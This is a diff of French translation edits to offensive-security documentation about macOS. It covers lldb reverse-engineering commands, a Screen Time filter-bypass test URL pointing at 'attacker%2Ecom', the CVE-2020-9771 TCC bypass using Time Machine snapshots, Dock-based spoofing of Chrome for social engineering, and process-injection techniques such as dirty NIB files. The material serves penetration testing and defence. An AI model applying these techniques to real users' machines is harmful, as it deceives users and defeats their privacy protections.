|
||||
|
||||
### ProcessMonitor
|
||||
|
||||
@ -438,10 +440,10 @@ settings set target.x86-disassembly-flavor intel
|
||||
> [!WARNING]
|
||||
> À l'intérieur de lldb, déposez un processus avec `process save-core`
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Commande</strong></td><td><strong>Description</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Démarre l'exécution, qui se poursuivra sans interruption jusqu'à ce qu'un point d'arrêt soit atteint ou que le processus se termine.</td></tr><tr><td><strong>process launch --stop-at-entry</strong></td><td>Démarre l'exécution en s'arrêtant au point d'entrée</td></tr><tr><td><strong>continue (c)</strong></td><td>Continue l'exécution du processus débogué.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Exécute l'instruction suivante. Cette commande ignorera les appels de fonction.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Exécute l'instruction suivante. Contrairement à la commande nexti, cette commande entrera dans les appels de fonction.</td></tr><tr><td><strong>finish (f)</strong></td><td>Exécute le reste des instructions dans la fonction actuelle (“frame”), retourne et s'arrête.</td></tr><tr><td><strong>control + c</strong></td><td>Met l'exécution en pause. Si le processus a été exécuté (r) ou continué (c), cela fera arrêter le processus ...où qu'il soit actuellement en cours d'exécution.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p><code>b main</code> #Toute fonction appelée main</p><p><code>b <binname>`main</code> #Fonction principale du binaire</p><p><code>b set -n main --shlib <lib_name></code> #Fonction principale du binaire indiqué</p><p><code>breakpoint set -r '\[NSFileManager .*\]$'</code> #Toute méthode NSFileManager</p><p><code>breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'</code></p><p><code>break set -r . -s libobjc.A.dylib</code> # Arrêt dans toutes les fonctions de cette bibliothèque</p><p><code>b -a 0x0000000100004bd9</code></p><p><code>br l</code> #Liste des points d'arrêt</p><p><code>br e/dis <num></code> #Activer/Désactiver le point d'arrêt</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Obtenir de l'aide sur la commande de point d'arrêt</p><p>help memory write #Obtenir de l'aide pour écrire dans la mémoire</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">format</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/adresse mémoire></strong></td><td>Affiche la mémoire sous forme de chaîne terminée par un null.</td></tr><tr><td><strong>x/i <reg/adresse mémoire></strong></td><td>Affiche la mémoire sous forme d'instruction d'assemblage.</td></tr><tr><td><strong>x/b <reg/adresse mémoire></strong></td><td>Affiche la mémoire sous forme d'octet.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Cela affichera l'objet référencé par le paramètre</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Notez que la plupart des API ou méthodes Objective-C d'Apple retournent des objets, et doivent donc être affichées via la commande “print object” (po). Si po ne produit pas de sortie significative, utilisez <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Écrire AAAA à cette adresse<br>memory write -f s $rip+0x11f+7 "AAAA" #Écrire AAAA à l'adresse</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Désassemble la fonction actuelle</p><p>dis -n <funcname> #Désassemble la fonction</p><p>dis -n <funcname> -b <basename> #Désassemble la fonction<br>dis -c 6 #Désassemble 6 lignes<br>dis -c 0x100003764 -e 0x100003768 # D'un ajout à l'autre<br>dis -p -c 4 # Commence à l'adresse actuelle en désassemblant</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Vérifier le tableau de 3 composants dans le registre x1</td></tr><tr><td><strong>image dump sections</strong></td><td>Imprime la carte de la mémoire du processus actuel</td></tr><tr><td><strong>image dump symtab <bibliothèque></strong></td><td><code>image dump symtab CoreNLP</code> #Obtenir l'adresse de tous les symboles de CoreNLP</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Commande</strong></td><td><strong>Description</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Démarrer l'exécution, qui se poursuivra sans interruption jusqu'à ce qu'un point d'arrêt soit atteint ou que le processus se termine.</td></tr><tr><td><strong>process launch --stop-at-entry</strong></td><td>Démarrer l'exécution en s'arrêtant au point d'entrée</td></tr><tr><td><strong>continue (c)</strong></td><td>Continuer l'exécution du processus débogué.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Exécuter l'instruction suivante. Cette commande ignorera les appels de fonction.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Exécuter l'instruction suivante. Contrairement à la commande nexti, cette commande entrera dans les appels de fonction.</td></tr><tr><td><strong>finish (f)</strong></td><td>Exécuter le reste des instructions dans la fonction actuelle (“frame”), retourner et s'arrêter.</td></tr><tr><td><strong>control + c</strong></td><td>Mettre l'exécution en pause. Si le processus a été exécuté (r) ou continué (c), cela fera arrêter le processus ...où qu'il soit actuellement en cours d'exécution.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p><code>b main</code> #Toute fonction appelée main</p><p><code>b <binname>`main</code> #Fonction principale du binaire</p><p><code>b set -n main --shlib <lib_name></code> #Fonction principale du binaire indiqué</p><p><code>breakpoint set -r '\[NSFileManager .*\]$'</code> #Toute méthode NSFileManager</p><p><code>breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'</code></p><p><code>break set -r . -s libobjc.A.dylib</code> # Arrêter dans toutes les fonctions de cette bibliothèque</p><p><code>b -a 0x0000000100004bd9</code></p><p><code>br l</code> #Liste des points d'arrêt</p><p><code>br e/dis <num></code> #Activer/Désactiver le point d'arrêt</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Obtenir de l'aide sur la commande de point d'arrêt</p><p>help memory write #Obtenir de l'aide pour écrire dans la mémoire</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">format</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/adresse mémoire></strong></td><td>Afficher la mémoire comme une chaîne terminée par un caractère nul.</td></tr><tr><td><strong>x/i <reg/adresse mémoire></strong></td><td>Afficher la mémoire comme une instruction d'assemblage.</td></tr><tr><td><strong>x/b <reg/adresse mémoire></strong></td><td>Afficher la mémoire comme un octet.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Cela affichera l'objet référencé par le paramètre</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Notez que la plupart des API ou méthodes Objective-C d'Apple retournent des objets, et doivent donc être affichées via la commande “print object” (po). Si po ne produit pas de sortie significative, utilisez <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Écrire AAAA à cette adresse<br>memory write -f s $rip+0x11f+7 "AAAA" #Écrire AAAA à l'adresse</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Désassembler la fonction actuelle</p><p>dis -n <funcname> #Désassembler la fonction</p><p>dis -n <funcname> -b <basename> #Désassembler la fonction<br>dis -c 6 #Désassembler 6 lignes<br>dis -c 0x100003764 -e 0x100003768 # D'un ajout à l'autre<br>dis -p -c 4 # Commencer à l'adresse actuelle en désassemblant</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Vérifier le tableau de 3 composants dans le registre x1</td></tr><tr><td><strong>image dump sections</strong></td><td>Imprimer la carte de la mémoire du processus actuel</td></tr><tr><td><strong>image dump symtab <bibliothèque></strong></td><td><code>image dump symtab CoreNLP</code> #Obtenir l'adresse de tous les symboles de CoreNLP</td></tr></tbody></table>
|
||||
|
||||
> [!TIP]
|
||||
> Lors de l'appel de la fonction **`objc_sendMsg`**, le registre **rsi** contient le **nom de la méthode** sous forme de chaîne terminée par un null (“C”). Pour imprimer le nom via lldb, faites :
|
||||
> Lors de l'appel de la fonction **`objc_sendMsg`**, le registre **rsi** contient le **nom de la méthode** sous forme de chaîne terminée par un caractère nul (“C”). Pour imprimer le nom via lldb, faites :
|
||||
>
|
||||
> `(lldb) x/s $rsi: 0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:"`
|
||||
>
|
||||
|
@ -83,8 +83,8 @@ open "http://attacker%2Ecom%2F./" # should be blocked by Screen Time
|
||||
# if the patch is missing Safari will happily load the page
|
||||
```
|
||||
### Bug d'ordre des règles du filtre de paquets (PF) dans les premières versions de macOS 14 “Sonoma”
|
||||
Lors du cycle bêta de macOS 14, Apple a introduit une régression dans l'enveloppe utilisateur autour de **`pfctl`**.
|
||||
Les règles ajoutées avec le mot-clé `quick` (utilisé par de nombreux kill-switches VPN) ont été silencieusement ignorées, provoquant des fuites de trafic même lorsqu'une interface graphique VPN/firewall signalait *bloqué*. Le bug a été confirmé par plusieurs fournisseurs de VPN et corrigé dans RC 2 (build 23A344).
|
||||
Pendant le cycle bêta de macOS 14, Apple a introduit une régression dans l'enveloppe utilisateur autour de **`pfctl`**.
|
||||
Les règles ajoutées avec le mot-clé `quick` (utilisé par de nombreux kill-switches VPN) étaient silencieusement ignorées, provoquant des fuites de trafic même lorsqu'une interface graphique VPN/firewall rapportait *bloqué*. Le bug a été confirmé par plusieurs fournisseurs de VPN et corrigé dans RC 2 (build 23A344).
|
||||
|
||||
Vérification rapide des fuites :
|
||||
```bash
|
||||
|
@ -60,7 +60,7 @@ macos-installers-abuse.md
|
||||
- **`.dylib`** : Bibliothèques dynamiques (comme les fichiers DLL de Windows)
|
||||
- **`.pkg`** : Sont les mêmes que xar (format d'archive extensible). La commande d'installateur peut être utilisée pour installer le contenu de ces fichiers.
|
||||
- **`.DS_Store`** : Ce fichier est présent dans chaque répertoire, il sauvegarde les attributs et personnalisations du répertoire.
|
||||
- **`.Spotlight-V100`** : Ce dossier apparaît dans le répertoire racine de chaque volume sur le système.
|
||||
- **`.Spotlight-V100`** : Ce dossier apparaît dans le répertoire racine de chaque volume du système.
|
||||
- **`.metadata_never_index`** : Si ce fichier est à la racine d'un volume, Spotlight n'indexera pas ce volume.
|
||||
- **`.noindex`** : Les fichiers et dossiers avec cette extension ne seront pas indexés par Spotlight.
|
||||
- **`.sdef`** : Fichiers à l'intérieur des bundles spécifiant comment il est possible d'interagir avec l'application depuis un AppleScript.
|
||||
@ -75,7 +75,7 @@ macos-bundles.md
|
||||
|
||||
## Cache de bibliothèque partagée Dyld (SLC)
|
||||
|
||||
Sur macOS (et iOS), toutes les bibliothèques partagées système, comme les frameworks et les dylibs, sont **combinées en un seul fichier**, appelé le **cache partagé dyld**. Cela améliore les performances, car le code peut être chargé plus rapidement.
|
||||
Sur macOS (et iOS), toutes les bibliothèques partagées système, comme les frameworks et dylibs, sont **combinées en un seul fichier**, appelé le **cache partagé dyld**. Cela améliore les performances, car le code peut être chargé plus rapidement.
|
||||
|
||||
Cela se trouve sur macOS dans `/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/` et dans les versions plus anciennes, vous pourriez trouver le **cache partagé** dans **`/System/Library/dyld/`**.\
|
||||
Sur iOS, vous pouvez les trouver dans **`/System/Library/Caches/com.apple.dyld/`**.
|
||||
@ -93,7 +93,7 @@ dyldex_all [dyld_shared_cache_path] # Extract all
|
||||
# More options inside the readme
|
||||
```
|
||||
> [!TIP]
|
||||
> Notez que même si l'outil `dyld_shared_cache_util` ne fonctionne pas, vous pouvez passer le **binaire dyld partagé à Hopper** et Hopper sera capable d'identifier toutes les bibliothèques et vous laissera **sélectionner celle que** vous souhaitez enquêter :
|
||||
> Notez que même si l'outil `dyld_shared_cache_util` ne fonctionne pas, vous pouvez passer le **binaire dyld partagé à Hopper** et Hopper sera capable d'identifier toutes les bibliothèques et vous permettra de **sélectionner celle que** vous souhaitez enquêter :
|
||||
|
||||
<figure><img src="../../../images/image (1152).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
@ -130,7 +130,7 @@ Il existe certains drapeaux qui peuvent être définis dans les fichiers qui fer
|
||||
- **`uchg`** : Connu sous le nom de drapeau **uchange**, il **empêchera toute action** de modification ou de suppression du **fichier**. Pour le définir, faites : `chflags uchg file.txt`
|
||||
- L'utilisateur root pourrait **supprimer le drapeau** et modifier le fichier.
|
||||
- **`restricted`** : Ce drapeau rend le fichier **protégé par SIP** (vous ne pouvez pas ajouter ce drapeau à un fichier).
|
||||
- **`Sticky bit`** : Si un répertoire a le bit collant, **seul** le **propriétaire du répertoire ou root peut renommer ou supprimer** des fichiers. Typiquement, cela est défini sur le répertoire /tmp pour empêcher les utilisateurs ordinaires de supprimer ou de déplacer les fichiers d'autres utilisateurs.
|
||||
- **`Sticky bit`** : Si un répertoire a un bit collant, **seul** le **propriétaire du répertoire ou root peut renommer ou supprimer** des fichiers. Typiquement, cela est défini sur le répertoire /tmp pour empêcher les utilisateurs ordinaires de supprimer ou de déplacer les fichiers d'autres utilisateurs.
|
||||
|
||||
Tous les drapeaux peuvent être trouvés dans le fichier `sys/stat.h` (trouvez-le en utilisant `mdfind stat.h | grep stat.h`) et sont :
|
||||
|
||||
@ -215,7 +215,7 @@ find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf
|
||||
|
||||
L'attribut étendu `com.apple.decmpfs` indique que le fichier est stocké de manière chiffrée, `ls -l` rapportera une **taille de 0** et les données compressées se trouvent à l'intérieur de cet attribut. Chaque fois que le fichier est accédé, il sera déchiffré en mémoire.
|
||||
|
||||
Cet attr peut être vu avec `ls -lO` indiqué comme compressé car les fichiers compressés sont également étiquetés avec le drapeau `UF_COMPRESSED`. Si un fichier compressé est supprimé avec ce drapeau via `chflags nocompressed </path/to/file>`, le système ne saura pas que le fichier était compressé et ne pourra donc pas décompresser et accéder aux données (il pensera qu'il est en fait vide).
|
||||
Cet attribut peut être vu avec `ls -lO` indiqué comme compressé car les fichiers compressés sont également étiquetés avec le drapeau `UF_COMPRESSED`. Si un fichier compressé est supprimé avec ce drapeau via `chflags nocompressed </path/to/file>`, le système ne saura pas que le fichier était compressé et ne pourra donc pas décompresser et accéder aux données (il pensera qu'il est en fait vide).
|
||||
|
||||
L'outil afscexpand peut être utilisé pour forcer la décompression d'un fichier.
|
||||
|
||||
|
@ -51,7 +51,7 @@ En utilisant un peu de **ingénierie sociale**, vous pourriez **usurper par exem
|
||||
{{#tab name="Usurpation de Chrome"}}
|
||||
Quelques suggestions :
|
||||
|
||||
- Vérifiez dans le Dock s'il y a un Chrome, et dans ce cas **supprimez** cette entrée et **ajoutez** l'**entrée Chrome** **fausse** à la **même position** dans le tableau du Dock.
|
||||
- Vérifiez dans le Dock s'il y a un Chrome, et dans ce cas, **supprimez** cette entrée et **ajoutez** l'**entrée Chrome** **fausse** à la **même position** dans le tableau du Dock.
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
@ -208,7 +208,7 @@ killall Dock
|
||||
### CVE-2020-9771 - contournement TCC de mount_apfs et élévation de privilèges
|
||||
|
||||
**Tout utilisateur** (même ceux sans privilèges) peut créer et monter un instantané de Time Machine et **accéder à TOUS les fichiers** de cet instantané.\
|
||||
Le **seul privilège** requis est que l'application utilisée (comme `Terminal`) ait accès à **Full Disk Access** (FDA) (`kTCCServiceSystemPolicyAllfiles`), ce qui doit être accordé par un administrateur.
|
||||
Le **seul privilège** requis est que l'application utilisée (comme `Terminal`) ait accès **Accès complet au disque** (FDA) (`kTCCServiceSystemPolicyAllfiles`), ce qui doit être accordé par un administrateur.
|
||||
```bash
|
||||
# Create snapshot
|
||||
tmutil localsnapshot
|
||||
|
@ -11,7 +11,7 @@ Puis **`posix_spawn`** a été introduit combinant **`vfork`** et **`execve`** e
|
||||
|
||||
- `POSIX_SPAWN_RESETIDS` : Réinitialiser les identifiants effectifs aux identifiants réels
|
||||
- `POSIX_SPAWN_SETPGROUP` : Définir l'affiliation au groupe de processus
|
||||
- `POSUX_SPAWN_SETSIGDEF` : Définir le comportement par défaut du signal
|
||||
- `POSUX_SPAWN_SETSIGDEF` : Définir le comportement par défaut des signaux
|
||||
- `POSIX_SPAWN_SETSIGMASK` : Définir le masque de signal
|
||||
- `POSIX_SPAWN_SETEXEC` : Exécuter dans le même processus (comme `execve` avec plus d'options)
|
||||
- `POSIX_SPAWN_START_SUSPENDED` : Démarrer suspendu
|
||||
@ -34,7 +34,7 @@ Les PIDs, identifiants de processus, identifient un processus unique. Dans XNU,
|
||||
**Les processus** peuvent être insérés dans des **groupes** pour faciliter leur gestion. Par exemple, les commandes dans un script shell seront dans le même groupe de processus, il est donc possible de **les signaler ensemble** en utilisant kill par exemple.\
|
||||
Il est également possible de **grouper des processus en sessions**. Lorsqu'un processus démarre une session (`setsid(2)`), les processus enfants sont placés à l'intérieur de la session, sauf s'ils démarrent leur propre session.
|
||||
|
||||
La coalition est une autre façon de grouper des processus dans Darwin. Un processus rejoignant une coalition lui permet d'accéder à des ressources partagées, de partager un registre ou de faire face à Jetsam. Les coalitions ont différents rôles : Leader, service XPC, Extension.
|
||||
La coalition est une autre façon de grouper des processus dans Darwin. Un processus rejoignant une coalition lui permet d'accéder à des ressources partagées, partageant un registre ou faisant face à Jetsam. Les coalitions ont différents rôles : Leader, service XPC, Extension.
|
||||
|
||||
### Identifiants et personas
|
||||
|
||||
@ -77,7 +77,7 @@ Pour gérer l'accès aux ressources partagées et éviter les conditions de cour
|
||||
- **Mutex rapide (Signature : 0x4d55545A) :** Semblable à un mutex régulier mais optimisé pour des opérations plus rapides, également de 60 octets de taille.
|
||||
2. **Variables de condition :**
|
||||
- Utilisées pour attendre que certaines conditions se produisent, avec une taille de 44 octets (40 octets plus une signature de 4 octets).
|
||||
- **Attributs de variable de condition (Signature : 0x434e4441) :** Attributs de configuration pour les variables de condition, de 12 octets de taille.
|
||||
- **Attributs de variable de condition (Signature : 0x434e4441) :** Attributs de configuration pour les variables de condition, d'une taille de 12 octets.
|
||||
3. **Variable Once (Signature : 0x4f4e4345) :**
|
||||
- Assure qu'un morceau de code d'initialisation est exécuté une seule fois. Sa taille est de 12 octets.
|
||||
4. **Verrous de lecture-écriture :**
|
||||
@ -129,7 +129,7 @@ Les classes QoS sont une approche plus moderne pour gérer les priorités des th
|
||||
1. **Interactif Utilisateur :**
|
||||
- Cette classe est pour les tâches qui interagissent actuellement avec l'utilisateur ou nécessitent des résultats immédiats pour offrir une bonne expérience utilisateur. Ces tâches se voient attribuer la plus haute priorité pour maintenir l'interface réactive (par exemple, animations ou gestion d'événements).
|
||||
2. **Initié par l'Utilisateur :**
|
||||
- Tâches que l'utilisateur initie et attend des résultats immédiats, comme ouvrir un document ou cliquer sur un bouton nécessitant des calculs. Celles-ci ont une priorité élevée mais inférieure à celle des tâches interactives.
|
||||
- Tâches que l'utilisateur initie et attend des résultats immédiats, comme ouvrir un document ou cliquer sur un bouton nécessitant des calculs. Celles-ci ont une priorité élevée mais inférieure à celle des tâches interactives utilisateur.
|
||||
3. **Utilitaire :**
|
||||
- Ces tâches sont de longue durée et affichent généralement un indicateur de progression (par exemple, téléchargement de fichiers, importation de données). Elles ont une priorité inférieure à celle des tâches initiées par l'utilisateur et n'ont pas besoin de se terminer immédiatement.
|
||||
4. **Arrière-plan :**
|
||||
@ -137,7 +137,7 @@ Les classes QoS sont une approche plus moderne pour gérer les priorités des th
|
||||
|
||||
En utilisant les classes QoS, les développeurs n'ont pas besoin de gérer les numéros de priorité exacts mais plutôt de se concentrer sur la nature de la tâche, et le système optimise les ressources CPU en conséquence.
|
||||
|
||||
De plus, il existe différentes **politiques de planification des threads** qui spécifient un ensemble de paramètres de planification que le planificateur prendra en considération. Cela peut être fait en utilisant `thread_policy_[set/get]`. Cela pourrait être utile dans les attaques par condition de course.
|
||||
De plus, il existe différentes **politiques de planification de threads** qui spécifient un ensemble de paramètres de planification que le planificateur prendra en considération. Cela peut être fait en utilisant `thread_policy_[set/get]`. Cela pourrait être utile dans les attaques par condition de course.
|
||||
|
||||
## Abus de Processus MacOS
|
||||
|
||||
@ -154,7 +154,7 @@ macos-library-injection/
|
||||
|
||||
### Accrochage de Fonction
|
||||
|
||||
L'accrochage de fonction implique **d'intercepter les appels de fonction** ou les messages au sein d'un code logiciel. En accrochant des fonctions, un attaquant peut **modifier le comportement** d'un processus, observer des données sensibles, ou même prendre le contrôle du flux d'exécution.
|
||||
L'accrochage de fonction implique **d'intercepter des appels de fonction** ou des messages au sein d'un code logiciel. En accrochant des fonctions, un attaquant peut **modifier le comportement** d'un processus, observer des données sensibles, ou même prendre le contrôle du flux d'exécution.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -190,7 +190,7 @@ macos-chromium-injection.md
|
||||
|
||||
### NIB Sale
|
||||
|
||||
Les fichiers NIB **définissent les éléments de l'interface utilisateur (UI)** et leurs interactions au sein d'une application. Cependant, ils peuvent **exécuter des commandes arbitraires** et **Gatekeeper ne bloque pas** une application déjà exécutée si un **fichier NIB est modifié**. Par conséquent, ils pourraient être utilisés pour faire exécuter des programmes arbitraires des commandes arbitraires :
|
||||
Les fichiers NIB **définissent des éléments d'interface utilisateur (UI)** et leurs interactions au sein d'une application. Cependant, ils peuvent **exécuter des commandes arbitraires** et **Gatekeeper ne bloque pas** une application déjà exécutée si un **fichier NIB est modifié**. Par conséquent, ils pourraient être utilisés pour faire exécuter des programmes arbitraires des commandes arbitraires :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -262,18 +262,18 @@ Notez que les exécutables compilés avec **`pyinstaller`** n'utiliseront pas ce
|
||||
|
||||
### Bouclier
|
||||
|
||||
[**Bouclier**](https://theevilbit.github.io/shield/) ([**Github**](https://github.com/theevilbit/Shield)) est une application open source qui peut **détecter et bloquer les actions d'injection de processus** :
|
||||
[**Shield**](https://theevilbit.github.io/shield/) ([**Github**](https://github.com/theevilbit/Shield)) est une application open source qui peut **détecter et bloquer les actions d'injection de processus** :
|
||||
|
||||
- En utilisant **des variables d'environnement** : Elle surveillera la présence de l'une des variables d'environnement suivantes : **`DYLD_INSERT_LIBRARIES`**, **`CFNETWORK_LIBRARY_PATH`**, **`RAWCAMERA_BUNDLE_PATH`** et **`ELECTRON_RUN_AS_NODE`**
|
||||
- En utilisant des appels **`task_for_pid`** : Pour trouver quand un processus veut obtenir le **port de tâche d'un autre** ce qui permet d'injecter du code dans le processus.
|
||||
- **Paramètres des applications Electron** : Quelqu'un peut utiliser les arguments de ligne de commande **`--inspect`**, **`--inspect-brk`** et **`--remote-debugging-port`** pour démarrer une application Electron en mode débogage, et ainsi injecter du code.
|
||||
- En utilisant **des symlinks** ou **des hardlinks** : Typiquement, l'abus le plus courant consiste à **placer un lien avec nos privilèges d'utilisateur**, et **pointer vers un emplacement de privilège supérieur**. La détection est très simple pour les hardlinks et les symlinks. Si le processus créant le lien a un **niveau de privilège différent** de celui du fichier cible, nous créons une **alerte**. Malheureusement, dans le cas des symlinks, le blocage n'est pas possible, car nous n'avons pas d'informations sur la destination du lien avant sa création. C'est une limitation du cadre EndpointSecurity d'Apple.
|
||||
- En utilisant **des liens symboliques** ou **des liens durs** : Typiquement, l'abus le plus courant consiste à **placer un lien avec nos privilèges d'utilisateur**, et **pointer vers un emplacement de privilège supérieur**. La détection est très simple pour les liens durs et symboliques. Si le processus créant le lien a un **niveau de privilège différent** de celui du fichier cible, nous créons une **alerte**. Malheureusement, dans le cas des liens symboliques, le blocage n'est pas possible, car nous n'avons pas d'informations sur la destination du lien avant sa création. C'est une limitation du cadre EndpointSecurity d'Apple.
|
||||
|
||||
### Appels effectués par d'autres processus
|
||||
|
||||
Dans [**cet article de blog**](https://knight.sc/reverse%20engineering/2019/04/15/detecting-task-modifications.html), vous pouvez trouver comment il est possible d'utiliser la fonction **`task_name_for_pid`** pour obtenir des informations sur d'autres **processus injectant du code dans un processus** et ensuite obtenir des informations sur cet autre processus.
|
||||
|
||||
Notez que pour appeler cette fonction, vous devez être **le même uid** que celui exécutant le processus ou **root** (et cela retourne des informations sur le processus, pas un moyen d'injecter du code).
|
||||
Notez que pour appeler cette fonction, vous devez avoir le **même uid** que celui exécutant le processus ou être **root** (et cela retourne des informations sur le processus, pas un moyen d'injecter du code).
|
||||
|
||||
## Références
|
||||
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
### Basic Information
|
||||
|
||||
Mach utilise des **tâches** comme la **plus petite unité** pour le partage des ressources, et chaque tâche peut contenir **plusieurs threads**. Ces **tâches et threads sont mappés 1:1 aux processus et threads POSIX**.
|
||||
Mach utilise des **tâches** comme la **plus petite unité** pour partager des ressources, et chaque tâche peut contenir **plusieurs threads**. Ces **tâches et threads sont mappés 1:1 aux processus et threads POSIX**.
|
||||
|
||||
La communication entre les tâches se fait via la communication inter-processus Mach (IPC), utilisant des canaux de communication unidirectionnels. **Les messages sont transférés entre les ports**, qui agissent comme des **queues de messages** gérées par le noyau.
|
||||
|
||||
@ -20,7 +20,7 @@ Un processus peut également envoyer un nom de port avec certains droits **à un
|
||||
|
||||
Les droits de port, qui définissent quelles opérations une tâche peut effectuer, sont essentiels à cette communication. Les **droits de port** possibles sont ([définitions ici](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)) :
|
||||
|
||||
- **Droit de réception**, qui permet de recevoir des messages envoyés au port. Les ports Mach sont des queues MPSC (multiple-producer, single-consumer), ce qui signifie qu'il ne peut y avoir **qu'un seul droit de réception pour chaque port** dans tout le système (contrairement aux pipes, où plusieurs processus peuvent tous détenir des descripteurs de fichiers pour l'extrémité de lecture d'un pipe).
|
||||
- **Droit de réception**, qui permet de recevoir des messages envoyés au port. Les ports Mach sont des files d'attente MPSC (multiple-producer, single-consumer), ce qui signifie qu'il ne peut y avoir **qu'un seul droit de réception pour chaque port** dans tout le système (contrairement aux pipes, où plusieurs processus peuvent tous détenir des descripteurs de fichiers pour l'extrémité de lecture d'un pipe).
|
||||
- Une **tâche avec le droit de réception** peut recevoir des messages et **créer des droits d'envoi**, lui permettant d'envoyer des messages. À l'origine, seule la **propre tâche a le droit de réception sur son port**.
|
||||
- Si le propriétaire du droit de réception **meurt** ou le tue, le **droit d'envoi devient inutile (nom mort)**.
|
||||
- **Droit d'envoi**, qui permet d'envoyer des messages au port.
|
||||
@ -41,14 +41,14 @@ Les ports de fichiers permettent d'encapsuler des descripteurs de fichiers dans
|
||||
|
||||
Comme mentionné précédemment, il est possible d'envoyer des droits en utilisant des messages Mach, cependant, vous **ne pouvez pas envoyer un droit sans déjà avoir un droit** pour envoyer un message Mach. Alors, comment la première communication est-elle établie ?
|
||||
|
||||
Pour cela, le **serveur de démarrage** (**launchd** sur mac) est impliqué, car **tout le monde peut obtenir un droit d'ENVOI au serveur de démarrage**, il est possible de lui demander un droit pour envoyer un message à un autre processus :
|
||||
Pour cela, le **serveur de démarrage** (**launchd** sur Mac) est impliqué, car **tout le monde peut obtenir un droit d'ENVOI au serveur de démarrage**, il est possible de lui demander un droit pour envoyer un message à un autre processus :
|
||||
|
||||
1. La tâche **A** crée un **nouveau port**, obtenant le **droit de RÉCEPTION** sur celui-ci.
|
||||
2. La tâche **A**, étant le titulaire du droit de RÉCEPTION, **génère un droit d'ENVOI pour le port**.
|
||||
3. La tâche **A** établit une **connexion** avec le **serveur de démarrage**, et **lui envoie le droit d'ENVOI** pour le port qu'elle a généré au début.
|
||||
- Rappelez-vous que tout le monde peut obtenir un droit d'ENVOI au serveur de démarrage.
|
||||
4. La tâche A envoie un message `bootstrap_register` au serveur de démarrage pour **associer le port donné à un nom** comme `com.apple.taska`
|
||||
5. La tâche **B** interagit avec le **serveur de démarrage** pour exécuter une recherche de démarrage **lookup pour le nom du service** (`bootstrap_lookup`). Ainsi, le serveur de démarrage peut répondre, la tâche B lui enverra un **droit d'ENVOI à un port qu'elle a précédemment créé** à l'intérieur du message de recherche. Si la recherche est réussie, le **serveur duplique le droit d'ENVOI** reçu de la tâche A et **le transmet à la tâche B**.
|
||||
5. La tâche **B** interagit avec le **serveur de démarrage** pour exécuter une recherche de démarrage **lookup pour le nom du service** (`bootstrap_lookup`). Ainsi, le serveur de démarrage peut répondre, la tâche B lui enverra un **droit d'ENVOI à un port qu'elle a précédemment créé** dans le message de recherche. Si la recherche est réussie, le **serveur duplique le droit d'ENVOI** reçu de la tâche A et **le transmet à la tâche B**.
|
||||
- Rappelez-vous que tout le monde peut obtenir un droit d'ENVOI au serveur de démarrage.
|
||||
6. Avec ce droit d'ENVOI, **la tâche B** est capable d'**envoyer** un **message** **à la tâche A**.
|
||||
7. Pour une communication bidirectionnelle, la tâche **B** génère généralement un nouveau port avec un droit de **RÉCEPTION** et un droit d'**ENVOI**, et donne le **droit d'ENVOI à la tâche A** afin qu'elle puisse envoyer des messages à la TÂCHE B (communication bidirectionnelle).
|
||||
@ -68,7 +68,7 @@ Pour ces services prédéfinis, le **processus de recherche diffère légèremen
|
||||
Cependant, ce processus ne s'applique qu'aux tâches système prédéfinies. Les tâches non-système fonctionnent toujours comme décrit à l'origine, ce qui pourrait potentiellement permettre l'imitation.
|
||||
|
||||
> [!CAUTION]
|
||||
> Par conséquent, launchd ne devrait jamais planter ou tout le système plantera.
|
||||
> Par conséquent, launchd ne doit jamais planter ou tout le système plantera.
|
||||
|
||||
### A Mach Message
|
||||
|
||||
